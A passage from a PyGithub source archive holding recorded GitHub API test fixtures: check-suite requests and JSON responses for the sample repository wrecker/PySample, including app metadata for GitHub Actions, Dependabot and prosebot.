Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}},{"id":1004503857,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzODU3","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"completed","conclusion":"success","url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503857","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[],"app":{"id":15368,"slug":"github-actions","node_id":"MDM6QXBwMTUzNjg=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"GitHub Actions","description":"Automate your workflow from idea to production","external_url":"https://help.github.com/en/actions","html_url":"https://github.com/apps/github-actions","created_at":"2018-07-30T09:30:17Z","updated_at":"2019-12-10T19:04:12Z","permissions":{"actions":"write","checks":"write","contents":"write","deployments":"write","issues":"write","metadata":"read","packages":"write","pages":"write","pull_requests":"write","repository_hooks":"write","repository_projects":"write","security_events":"write","statuses":"write","vulnerability_alerts":"read"},"events":["check_run","check_suite","create","delete","deployment","deployment_status","fork","gollum","issues","issue_comment","label","milestone","page_build","project","project_card","project_column","public","pull_request","pull_request_review","pull_request_review_comment","push","registry_package","release","repository","repository_dispatch","status","watch","workflow_dispatch","workflow_run"]},"created_at":"2020-08-04T05:06:54Z","updated_at":"2020-08-04T05:07:09Z","latest_check_runs_count":1,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503857/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckSuite.testGetCheckSuitesForRefFilterByAppId.txt0000644000175100001660000004106414756101563030207 0ustar00runnerdockerhttps GET api.github.com None /repos/wrecker/PySample/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a/check-suites?app_id=29110&per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 09 Aug 2020 06:33:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1596958127'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"0541d417e4c5cdd5fa0a1e39f98c9ef5"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DDB0:8550:104804A:13FAAF7:5F2F98D0')] {"total_count":1,"check_suites":[{"id":1004503392,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzky","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"queued","conclusion":null,"url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[{"url":"https://api.github.com/repos/wrecker/PySample/pulls/7","id":462527907,"number":7,"head":{"ref":"wrecker-patch-1","sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}},"base":{"ref":"main","sha":"ad83eb83895dafacb1384f89e3be6a9d9cf2b719","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}}}],"app":{"id":29110,"slug":"dependabot","node_id":"MDM6QXBwMjkxMTA=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"Dependabot","description":"","external_url":"https://dependabot-api.githubapp.com","html_url":"https://github.com/apps/dependabot","created_at":"2019-04-16T22:34:25Z","updated_at":"2019-07-01T21:20:42Z","permissions":{"checks":"write","contents":"write","issues":"write","members":"read","metadata":"read","pull_requests":"write","statuses":"read","workflows":"write"},"events":["check_suite","issues","issue_comment","label","pull_request","pull_request_review","pull_request_review_comment","repository"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:51Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}}]} https GET api.github.com None /repos/wrecker/PySample/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a/check-suites?app_id=29110 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 09 Aug 2020 06:33:53 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4969'), ('X-RateLimit-Reset', '1596958127'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"0541d417e4c5cdd5fa0a1e39f98c9ef5"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DDB4:24C3:264926:3089E3:5F2F98D0')] {"total_count":1,"check_suites":[{"id":1004503392,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzky","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"queued","conclusion":null,"url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[{"url":"https://api.github.com/repos/wrecker/PySample/pulls/7","id":462527907,"number":7,"head":{"ref":"wrecker-patch-1","sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}},"base":{"ref":"main","sha":"ad83eb83895dafacb1384f89e3be6a9d9cf2b719","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}}}],"app":{"id":29110,"slug":"dependabot","node_id":"MDM6QXBwMjkxMTA=","owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars1.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"name":"Dependabot","description":"","external_url":"https://dependabot-api.githubapp.com","html_url":"https://github.com/apps/dependabot","created_at":"2019-04-16T22:34:25Z","updated_at":"2019-07-01T21:20:42Z","permissions":{"checks":"write","contents":"write","issues":"write","members":"read","metadata":"read","pull_requests":"write","statuses":"read","workflows":"write"},"events":["check_suite","issues","issue_comment","label","pull_request","pull_request_review","pull_request_review_comment","repository"]},"created_at":"2020-08-04T05:06:51Z","updated_at":"2020-08-04T05:06:51Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503392/check-runs","head_commit":{"id":"fd09d934bcce792176d6b79d6d0387e938b62b7a","tree_id":"ece026d8b3d79448ead6e7a2e2919dea8057db38","message":"Update README.md","timestamp":"2020-08-04T05:06:50Z","author":{"name":"Mahesh Raju","email":"coder@mahesh.net"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":283963162,"node_id":"MDEwOlJlcG9zaXRvcnkyODM5NjMxNjI=","name":"PySample","full_name":"wrecker/PySample","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PySample","description":"A Sample Python Project","fork":false,"url":"https://api.github.com/repos/wrecker/PySample","forks_url":"https://api.github.com/repos/wrecker/PySample/forks","keys_url":"https://api.github.com/repos/wrecker/PySample/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PySample/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PySample/teams","hooks_url":"https://api.github.com/repos/wrecker/PySample/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PySample/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PySample/events","assignees_url":"https://api.github.com/repos/wrecker/PySample/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PySample/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PySample/tags","blobs_url":"https://api.github.com/repos/wrecker/PySample/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PySample/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PySample/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PySample/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PySample/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PySample/languages","stargazers_url":"https://api.github.com/repos/wrecker/PySample/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PySample/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PySample/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PySample/subscription","commits_url":"https://api.github.com/repos/wrecker/PySample/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PySample/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PySample/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PySample/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PySample/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PySample/merges","archive_url":"https://api.github.com/repos/wrecker/PySample/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PySample/downloads","issues_url":"https://api.github.com/repos/wrecker/PySample/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PySample/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PySample/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PySample/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PySample/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PySample/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PySample/deployments"}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/CheckSuite.testGetCheckSuitesForRefFilterByCheckName.txt0000644000175100001660000005104414756101563031027 0ustar00runnerdockerhttps GET api.github.com None /repos/wrecker/PySample/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a/check-suites?check_name=Alex&per_page=1 {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sun, 09 Aug 2020 06:33:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4965'), ('X-RateLimit-Reset', '1596958127'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"16c27eb9cbf70658135398352a34984e"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EAC2:9FA2:957A02:B47E27:5F2F98D2')] {"total_count":1,"check_suites":[{"id":1004503395,"node_id":"MDEwOkNoZWNrU3VpdGUxMDA0NTAzMzk1","head_branch":"wrecker-patch-1","head_sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","status":"completed","conclusion":"success","url":"https://api.github.com/repos/wrecker/PySample/check-suites/1004503395","before":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","after":"fd09d934bcce792176d6b79d6d0387e938b62b7a","pull_requests":[{"url":"https://api.github.com/repos/wrecker/PySample/pulls/7","id":462527907,"number":7,"head":{"ref":"wrecker-patch-1","sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}},"base":{"ref":"main","sha":"ad83eb83895dafacb1384f89e3be6a9d9cf2b719","repo":{"id":283963162,"url":"https://api.github.com/repos/wrecker/PySample","name":"PySample"}}}],"app":{"id":19534,"slug":"prosebot","node_id":"MDM6QXBwMTk1MzQ=","owner":{"login":"JasonEtco","id":10660468,"node_id":"MDQ6VXNlcjEwNjYwNDY4","avatar_url":"https://avatars1.githubusercontent.com/u/10660468?v=4","gravatar_id":"","url":"https://api.github.com/users/JasonEtco","html_url":"https://github.com/JasonEtco","followers_url":"https://api.github.com/users/JasonEtco/followers","following_url":"https://api.github.com/users/JasonEtco/following{/other_user}","gists_url":"https://api.github.com/users/JasonEtco/gists{/gist_id}","starred_url":"https://api.github.com/users/JasonEtco/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JasonEtco/subscriptions","organizations_url":"https://api.github.com/users/JasonEtco/orgs","repos_url":"https://api.github.com/users/JasonEtco/repos","events_url":"https://api.github.com/users/JasonEtco/events{/privacy}","received_events_url":"https://api.github.com/users/JasonEtco/received_events","type":"User","site_admin":true},"name":"prosebot","description":"Probot App to help you write better on GitHub.\r\n\r\n## Usage\r\n\r\nThis Probot App listens for changes to Markdown files (`.md`) or text files (`.txt`) and runs various checks against them to provide feedback on the English. Currently, the app checks for spelling, prose and inclusive verbiage. This is done by leveraging existing open source libraries, which you can find [listed below](#credits). Here's how it looks in action:\r\n\r\n

\r\n \"image\"\r\n

\r\n\r\n### What it checks\r\n\r\nA non-exhaustive list of the various checks that are run:\r\n\r\n* Correct spelling (and provides possible corrections).\r\n* Use of non-inclusive/profane/offensive language.\r\n* Various prose-related checks, find the full list [here](https://github.com/btford/write-good#checks).\r\n\r\n### Installation\r\n\r\nVisit [the installation page](https://github.com/apps/prosebot) and install the GitHub App on your repositories. That's all there is to it ❤️\r\n\r\n### Configuration\r\n\r\nThere are currently three providers that the app uses to test your text. These can each be disabled, and are all enabled by default. To disable a provider, add a `.github/write-good.yml` file to your repository and set the provider to `false`:\r\n\r\n```yaml\r\n# .github/write-good.yml\r\nwriteGood: true\r\nalex: true\r\nspellchecker: true\r\n```\r\n\r\n### Credits\r\n\r\nThis Probot App is mostly a wrapper around existing open source libraries. The majority of the work is done by those, and they deserve a ton of thanks:\r\n\r\n* [`write-good`](https://github.com/btford/write-good)\r\n* [`alex`](https://github.com/get-alex/alex)\r\n* [`node-spellchecker`](https://github.com/atom/node-spellchecker)\r\n\r\n### Future work\r\n\r\n* Using [Suggested Changes](https://blog.github.com/changelog/2018-10-16-suggested-changes/) to... suggest changes.\r\n* Work on multiple PRs at a time\r\n* Nicer annotations\r\n* More providers? [Open an 